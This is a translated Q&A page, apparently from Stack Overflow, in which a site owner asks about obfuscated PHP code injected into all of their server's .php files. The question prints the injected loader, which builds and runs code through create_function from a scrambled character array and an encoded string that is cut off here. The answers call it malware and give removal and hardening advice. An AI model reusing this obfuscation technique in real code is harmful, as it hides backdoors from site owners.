我所有.php文件中的一段代码?

时间:2014-02-05 18:38:10

标签: php mysql

此外,我的服务器上的所有.php文件都会自动创建这段代码。

<?php
$md5 = "a706891c46c31c80594f989327e52c0d";
$a7 =    array(';','6','i','l',"z",'4','t',')','e',"b",'(','_',"o","g","a","r","n","s");
$b70 =      create_function('$'.'v',$a7[8].$a7[18].$a7[4].$a7[19].$a7[6].$a7[7].$a7[7].$a7[0]);
$b70('DZdFsoUKEkSX0/8HA/wC0SPc3Zl04O7/4f');
?>

(完整代码http://codepad.org/HdnZfKm1

我尝试从所有.php文件中手动删除它,但是当涉及setup.php(连接到MySQL的文件)时,如果我从那里删除它,网站就会停止工作。我不知道如何删除它。如果我保留原样会有什么后果?这是什么以及它是如何进入的?

2 个答案:

答案 0 :(得分:2)

它是一种恶意软件..

本文提供有关恶意软件的有用信息。

malware removal

以下是删除它的说明。

removal instructions

答案 1 :(得分:0)

最好的办法是从版本控制系统恢复。你没有吗?这是你修复的第一件事。版本控制必要

接下来将与您的备份进行比较,以了解何时进行此更改。你没有备份?这是你接下来要解决的问题。

最后,您应该确保您的应用程序软件是最新的,您运行的是最新版本的Web服务器和PHP。立即进行安全审核。如果你不知道如何做到这一点,找一个能得到一些支持的人。如果你被这个击中了,很有可能这个人会回来检查他们的工作,如果他们可以的话可能再次重新攻击你。